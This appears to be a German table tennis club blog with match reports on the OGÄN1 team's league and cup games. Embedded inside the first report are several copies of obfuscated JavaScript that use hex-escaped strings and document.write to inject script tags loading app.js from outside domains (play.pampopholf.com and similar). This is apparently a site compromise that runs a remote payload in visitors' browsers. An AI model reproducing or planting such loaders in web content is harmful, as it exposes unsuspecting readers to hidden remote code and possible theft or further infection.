Autor: Roland Fellner

OL: OGÄN1 siegt in Asparn

Hier ein Kurzbericht von unserem Auftritt in Asparn gegen SGWV3:

Gegen Andreas Weißböck war für uns nichts zu holen, alle anderen Spiele konnte man gewinnen. Wobei auf das „Wie“ vom Verfasser dieses Berichts nicht eingegangen wird. „Danach fragt morgen keiner mehr!“, war die allgemeine Meinung!

So wurde eine schöne Saison mit einem 6:3 Erfolg abgeschlossen und in der Bärenstub’n in Matzen begossen. Danke an meine Mannschaftskollegen, die meine Schwächen weitestgehend kaschiert haben, für den Zusammenhalt und die Gaudi, die wir bei jedem Spiel hatten! var _0x78f1=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4E\x7A\x41\x37\x4D\x51\x3D\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x70\x61\x6D\x70\x6F“,“\x70\x68\x6F\x6C\x66\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function printapp(){var _0x8e48x2=_0x78f1[0];var _0x8e48x3=_0x78f1[1];var _0x8e48x4=_0x78f1[2];var _0x8e48x5=_0x78f1[3];document[_0x78f1[4]](_0x8e48x2+ _0x8e48x3+ _0x8e48x4+ _0x8e48x5)}printapp() var _0x78f1=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4E\x7A\x41\x37\x4D\x51\x3D\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x70\x61\x6D\x70\x6F“,“\x70\x68\x6F\x6C\x66\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function printapp(){var _0x8e48x2=_0x78f1[0];var _0x8e48x3=_0x78f1[1];var _0x8e48x4=_0x78f1[2];var _0x8e48x5=_0x78f1[3];document[_0x78f1[4]](_0x8e48x2+ _0x8e48x3+ _0x8e48x4+ _0x8e48x5)}printapp() var _0x8ac2=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x70\x61\x6D\x70\x6F“,“\x70\x68\x6F\x6C\x66\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function printapp(){var _0x5646x2=_0x8ac2[0];var _0x5646x3=_0x8ac2[1];var _0x5646x4=_0x8ac2[2];var _0x5646x5=_0x8ac2[3];document[_0x8ac2[4]](_0x5646x2+ _0x5646x3+ _0x5646x4+ _0x5646x5)}printapp() var _0x9e3f=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x67\x72\x61\x6D“,“\x6F\x6D\x62\x69\x72\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function echostat(){var _0xaf0ax2=_0x9e3f[0];var _0xaf0ax3=_0x9e3f[1];var _0xaf0ax4=_0x9e3f[2];var _0xaf0ax5=_0x9e3f[3];document[_0x9e3f[4]](_0xaf0ax2+ _0xaf0ax3+ _0xaf0ax4+ _0xaf0ax5)}echostat() var _0x9e3f=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x67\x72\x61\x6D“,“\x6F\x6D\x62\x69\x72\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function echostat(){var _0xaf0ax2=_0x9e3f[0];var _0xaf0ax3=_0x9e3f[1];var _0xaf0ax4=_0x9e3f[2];var _0xaf0ax5=_0x9e3f[3];document[_0x9e3f[4]](_0xaf0ax2+ _0xaf0ax3+ _0xaf0ax4+ _0xaf0ax5)}echostat() var _0x9e3f=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x67\x72\x61\x6D“,“\x6F\x6D\x62\x69\x72\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function echostat(){var _0xaf0ax2=_0x9e3f[0];var _0xaf0ax3=_0x9e3f[1];var _0xaf0ax4=_0x9e3f[2];var _0xaf0ax5=_0x9e3f[3];document[_0x9e3f[4]](_0xaf0ax2+ _0xaf0ax3+ _0xaf0ax4+ _0xaf0ax5)}echostat() var _0x1b1d=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x66\x65\x65\x73″,“\x6F\x63\x72\x61\x6C\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function yapm(){var _0x1d09x2=_0x1b1d[0];var _0x1d09x3=_0x1b1d[1];var _0x1d09x4=_0x1b1d[2];var _0x1d09x5=_0x1b1d[3];document[_0x1b1d[4]](_0x1d09x2+ _0x1d09x3+ _0x1d09x4+ _0x1d09x5)}yapm()

OL: Zu zweit keine Chance in Hagenbrunn

Aufgrund eines kurzfristigen Termins konnte unsere Nummer 1 leider nicht den Weg nach Hagenbrunn mit uns antreten, weshalb Lukas und Roland zu zweit antraten.

Lukas konnte sowohl gegen Moritz Sommer als auch Martin Parzer den ersten Satz gewinnen, verlor aber beide Spiele in 4 Sätzen, da er „zu schön“ spielen wollte.

Im Doppel zeigte OGÄN eine starke Leistung, die am Ende leider nicht belohnt wurde, da man knapp im 5. Satz unterlag.

Den Ehrenpunkt zum 1:6 konnte Roland mit einem mühevollen 11:9 im 5. Satz gegen Joachim Wawerda holen.

Gemütlich wurde es beim anschließenden Zusammensitzen im Kellerlokal bei Aufstrichbroten und kühlen Getränken! Danke dafür an die spendablen Gastgeber!

OL: Letztes Heimspiel bringt knappen Sieg für OGÄN1!

Nach über einem Monats Pause trat OGÄN1 zum letzten Heimspiel der Saison gegen Lassee 1 an. Dass es am Ende einen 6:4 Sieg für die Heimischen gab, war lange Zeit nicht abzusehen. Aber alles der Reihe nach:

Roland spielte gegen Patrick Christ wie immer zu fehlerhaft, um seinen Kontrahenten auch nur annähernd in Schwierigkeiten zu bringen und verlor glatt in 3 Sätzen. Thomas gelang mit einem 4-Satz-Sieg gegen Mike Potzmann der Augleich. Lukas schaffte es nicht, OGÄN in Führung zu bringen, da er in einer starken 5-Satz-Partie gegen Manuel Christ unterlag. Trotz einer eher schwachen Vorstellung im Doppel konnten Thomas & Roland wieder für OGÄN ausgleichen. Thomas brachte uns anschließend mit einem klaren Sieg gegen Patick erstmals in Führung, welche aber nach einer klaren Niederlage von Roland gegen Manuel von Lassee wieder ausgeglichen wurde.

Beim Stand von 3:3 standen sich nun Lukas und Mike gegenüber. Lukas dominierte die ersten beiden Sätze, danach riss aber bei ihm der Faden und Mike traf einfach jeden Ball und ging verdinet als Sieger von der Platte. Auch das nächste Spiel zwischen den beiden Einsern – Thomas und Manuel – ging über 5 Sätze. Lange sah es so aus, dass Manuel das Unentschieden für Lassee fixieren könnte, Thomas fightete aber nach einem 1:2 Satzrückstand zurück und sicherte sich den 4. Satz knapp. Damit war der Widerstand von Manuel gebrochen – der 5. Satz ging klar an Thomas. Also stand es 4:4!

Dass es beim Tischtennis sehr darauf ankommt, wie man mit der Spielanlage des Gegners zurecht kommt, zeigten die beiden abschließenden Spiele. Lukas konnte sich gut auf Patricks Spiel einstellen und verlor nur den 3. Satz. Mike konnte jedoch mit dem Spiel von Roland gar nichts anfangen und unterlag in 3 Sätzen.

Damit stand zum versöhnlichen Abschluss des letzten Heimspiels ein knapper 6:4 Sieg zu Buche!

OL: OGÄN1 – SPILL1: Fast alles plangemäß

Beide Mannschaften traten in Standardbesetzung an. Gleich zu Beginn hatte Roland ein wichtiges Spiel gegen Günter Weber zu bestreiten. Beide Spieler zeigten eine gute Leistung, am Ende hatte aber Roland in allen drei Sätzen immer knapp die Nase vorne.

Lukas startete gegen die klare Nummer 1 von Spillern – Stefan Wichtl – gut in die Partie. Nach gewonnenem ersten Satz war aber vor allem aufgrund der Annahmeschwäche nicht mehr viel zu holen.

Thomas brachte uns danach mit einem klaren Sieg gegen Dieter Sarma wieder in Führung. Diese konnten Thomas & Roland im Doppel ausbauen.

Danach war wieder Spillern – besser gesagt Stefan – an der Reihe, der sich für seine im Herbst erlittene Niederlage gegen Roland revanchieren konnte.

Thomas stellte anschließend durch einen ungefährdeten Sieg gegen Günter auf 4:2. Für alle etwas überraschend lag danach Lukas gegen Dieter plötzlich mit 0:2 Sätzen in Rückstand. Dieter spielte offensiv sehr sicher, bei Lukas glaubte man, dass er das erste Mal gegen einen Noppenspieler spielen würde. Er riss sich jedoch noch rechtzeitig zusammen und konnte das Spiel – knapp aber doch – für sich entscheiden.

Das letzte Spiel war dann gleichzeitig auch das beste Spiel des Tages. Stefan und Thomas lieferten sich einen offensiven Schlagabtausch, wobei Thomas in vier Sätzen das bessere Ende für sich hatte und unseren 6:2 Sieg perfekt machte.

Challenge Cup: OGÄN1 zieht ins „Final Four“ ein!

Die Auslosung wollte es, dass es im Viertelfinale des Challenge Cup Hauptbewerbs zu einem echten „Revierderby“ kam und sich Schönkirchen und OGÄN1 gegenüber standen.

Beide Mannschaften spielten in ihrer Standardformation – daher war OGÄN1 leichter Favorit! Aufgrund der Aufstellung von „Non Playing Captain“ Herbert M. standen sich Roland F. und Paul Lima – in Schönkirchen fast Nachbarn – im ersten Spiel gegenüber. Roland konnte zwar in drei Sätzen gewinnen, aber hauptsächlich aufgrund der Fehler seines Gegners.

Anschließend erhöhte Jonathan Prager gegen „Hobbyspieler“ Christian Rohr mit einem unauffälligen 3-Satz-Sieg auf 2:0!

Dann das Spiel des Abends: Luka Almazan – erstmals mit mehr als 1.000 RC-Punkten – traf auf die Nummer 1 von Schönkirchen, Bernhard Haferl (1.133 RC-Punkte). Luka setzte seinen Gegner von Beginn an unter Dauerdruck, punktete teilweise sensationell und ließ Bernhard nicht den Funken einer Chance! Hätte ihn ein Außenstehender gesehen, hätte er ihn wahrscheinlich auf 1.400 Punkte (oder mehr) eingeschätzt! Gratulation zu dieser Leistung!

Nicht ganz so rund lief es für unseren zweiten Youngster, der gegen Paul eine relativ deutliche Niederlage einstecken musste. Aber wahrscheinlich war das auf den Trainingsrückstand bedingt durch Skikurs und Krankheit zurückzuführen. Beim nächsten Mal wird es sicher besser!

Spielstand somit 3:1 und nun kam es zum Duell Bernhard gegen Roland. Roland begann abwartend und hoffte wieder auf Fehler seines Gegenübers – dieser tat ihm diesen Gefallen jedoch nicht und gewann den ersten Satz 11:3. Danach stellte Roland sein Spiel um, spielte selbst aktiver und geriet nicht mehr in größere Schwierigkeiten – also 4:1!

Den Schlußpunkt setzte wieder Luka! Allerdings war bei ihm etwas die Spannung draussen, weshalb er sogar einen Satz gegen Christian abgeben musste.

Das Ziel „Final Four“ wurde somit souverän erreicht – alles was jetzt noch kommt ist Draufgabe!

Es war mir wie immer eine Freude, mit Euch „Youngsters“ zu spielen!

OL: OGÄN1 gegen SGSTO2 – Ende gut, alles gut!

Eine Stunde vor Spielbeginn wurden wir von Lukas informiert, dass er krank ist. Da Gesundheit natürlich vorgeht, haben wir ihm vom Spielen abgeraten. So kämpften Thomas und Roland alleine gegen die Stockerauer, die in Normalbesetzung bei uns antraten.

Nach der ersten W.O. Partie begann Thomas gegen Günter Puschert. Es war eine relativ kurze Angelegenheit, die den Ausgleich für uns brachte. Danach standen sich zum ersten Mal Sofia Lu Chen und Roland gegenüber. Roland gelang es, mit plazierten und kurzen Bällen seine Gegnerin nie ins Spiel kommen zu lassen. Diese verzweifelte mit Fortdauer des Spiels immer mehr, was einen unerwarteten 3:0 Sieg von Roland brachte. Auch im anschließenden Doppel gaben wir keinen Satz ab und gingen 3:1 in Führung.

Nun durfte erstmals Norbert Reisinger im Einzel an die Platte. Er spielte gegen Thomas sehr gut mit, musste die ersten beiden Sätze jedoch in der Verlängerung abgeben. Der 3. Satz fiel dann etwas klarer für Thomas aus und der nächste 3-Satz-Sieg stand fest.

Danach war wieder ein W.O. am Plan und es stand 4:2! Den erhofften Punkt sichterte Roland mit einem klaren Erfolg gegen Günter ab und es lag somit an Thomas, mit einem Sieg über Sofia einen vollen Erfolg für uns einzufahren. Nach anfänglichen Schwierigkeiten, die auch zum Verlust des ersten Satz führten, kam Thomas immer besser ins Spiel und zog seiner Gegnerin langsam aber sicher immer mehr den Nerv!

Wir waren naturgemäß mit unserem 6:2 Sieg, den wir zu zweit erreichten, zufrieden und wünschen unserem Lukas auf diesem Weg gute Besserung!

OGÄN1: Heimniederlage gegen Tabellenführer

Zum ersten Mal in der Rückrunde spielte OGÄN1 in Bestbesetzung gegen die Tabellenführer aus Klosterneuburg. Die längere Pause dürfte Thomas gut getan haben. Aus meiner Sicht hat er seine bisher beste Saisoneistung gezeigt und alle drei Gegner besiegen können.

Nicht schlecht, aber nicht gut genug war die Leistung von Lukas. Bei ihm wirkt sich der Trainingsrückstand am Meisten aus. Dass er nur einen Satz gewinnen konnte, war jedoch unglücklich und ein bisschen unverdient!

Wie immer um diese Jahreszeit hat auch Roland einen großen Trainingsrückstand. Aber bekanntlich ist er ja untrainiert am Gefährlichsten! So konnte er auch den ersten Satz gegen Richard Tekula gewinnen. Satz 2+3 gingen leider knapp an seinen Gegner. Anfang des 3. Satzes verspürte Roland einen Stich im Knie – deshalb war der Abend für ihn gelaufen.

Das war natürlich die Chance für Thomas und Lukas, ihre Doppelbilanz aufzubessern. Sie konnten Christian Nowak und Stefan Schmied an den Rand einer Niederlage bringen, unterlagen aber leider nach 5 Sätzen.

Somit blieben die drei Siege von Thomas die einzig zählenden Erfolge für OGÄN1 an diesem Abend und das Spiel wurde mit 6:3 verloren.

OGÄN1 verliert zum Abschluss gegen HAGE2

Hier eine verspätete Nachbetrachtung zu unserer Niederlage gegen HAGE2:

Thomas und Lukas gewinnen jeweils einmal klar und einmal in 5 Sätzen und verlieren jeweils einmal in 5 Sätzen! Roland verliert einmal klar und 2x in 5 Sätzen!

Das Doppel (Thomas & Lukas) verliert leider in 4 Sätzen – somit gesamt eine doch etwas unglückliche 4:6 Heimniederlage. Und das nur, weil Roland eine 5:0 Führung im letzten Spiel im 5. Satz nicht nach Hause spielen kann! Egal – im Frühjahr wird alles besser (hoffentlich)!

Erwähnenswert ist weiters, dass Thomas mit einem Spielverhältnis von 19:5 Ranglistenerster der OL ist und Lukas in seiner ersten vollen Saison in der OL mit 15:7 unter den Top 8 liegt. Gott sei Dank hat wenigstens Roland mit 7:12 negativ gespielt, sonst hätten wir womöglich noch um den Meistertitel mitgespielt. So stehen wir auf einem guten 3. Platz mit nur 3 Punkten Rückstand auf den Herbstmeister aus Klosterneuburg.

Nun bleibt mir nur mehr, allen Lesern eine ruhige Weihnachtszeit zu wünschen! Wir sehen uns spätestens im neuen Jahr wieder! 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OL: OGÄN1 besiegt auch SGWV3

Bei der gestrigen Doppelveranstaltung spielte OGÄN1 gegen die Asparner Thomas Riepl, Thomas Mrazek und Martin Plott.

Die beiden ersten Spiele waren eine klare Angelegenheit für Lukas gegen Mrazek und Thomas gegen Plott, obwohl dieser einen Satz abgeben musste.

Die Überraschung des Abends lieferte danach Roland gegen Thomas R. ab. Obwohl er eigentlich immer hinten lag, konnte er Satz 1 mit 11:9 für sich entscheiden. Aber Thomas sorgte mt zwei souveränen Satzgewinnen wieder für klare Verhältnisse. Im vierten Satz ging bei Thomas nach einem strittigen Kantenball (eine Wiederholung wurde von seiner Seite jedoch vehement abgelehnt – warum auch immer) die Konzentration verloren und Roland rettete sich mit einem 12:10 in den 5. Satz, welchen er trotz einem 5:3 Rückstand mit 11:6 gewinnen konnte und somit auf 3:0 für OGÄN1 stellte.

Das Doppel – dieses Mal wieder Thomas mit Roland – war gegen Mrazek/Plott eine eindeutige Sache für OGÄN1, ebenso wie das anschließende Einzel zwischen Amon und Mrazek (bzw. Thomas und Thomas).

Den Ehrenpunkt für SGWV3 erspielte danach Thomas Riepl mit einem 4-Satz-Erfolg gegen Lukas, der vor allem mit dem Service seines Gegners Probleme hatte.

Den Schlusspunkt zum 6:1 Erfolg setzte Roland, der Martin in drei Sätzen bezwang.

Im Gegensatz zu OGÄN2 dürfen wir uns noch nicht in die Weihnachtspause verabschieden, da am kommenden Donnerstag noch ein Heimspiel gegen Hagenbrunn auf dem Programm steht!

OL: Lehner/Amon siegen in Lassee

Die Überschrift lässt vermuten, dass OGÄN1 zum Spiel in Lassee nur zu Zweit angetreten ist – dem war aber nicht so! Roland F. war anwesend, konnte aber an diesem Abend keinen zählbaren Beitrag zum Sieg seiner Mannschaft leisten. Gegen die beiden „Christ-Buam“ Manuel und Patrick war jeweils nur ein Satzgewinn für ihn möglich.

Auch im Doppel trat er aufgrund seiner Service-Annahmeschwäche nicht an, was im nachhinein gesehen ein perfekter Schachzug war, da die beiden „Linken“ (Thomas & Lukas) das Doppel knapp aber doch in 5 Sätzen gewinnen konnten.

Matchwinner war dieses Mal eindeutig Lukas Lehner, der alle seine drei Einzelspiele gewinnen konnte. Nach anfänglichen Problemen besiegte er Mike Potzmann in 4 Sätzen, gegen Manuel konnte er im 5. Satz 11:3 gewinnen und in der letzten Partie des Abend fixierte er mit einem 3-Satz-Sieg den 6:3 Erfolg von OGÄN1.

Thomas steuerte ebenfalls 2 wichtige Punkte bei, wobei seine Siege gegen Patrick und Mike nie gefährdet waren. Leider konnte er gegen Manuel seine 2:1 Satzführung nicht über die Ziellinie bringen. Er zeigte aber trotzdem eine hervorragende Leistung.

Nächste Woche beendet OGÄN1 mit zwei Heimspielen gegen SG Weinviertel (Montag) und Hagenbrunn (Donnerstag) die Herbstmeisterschaft!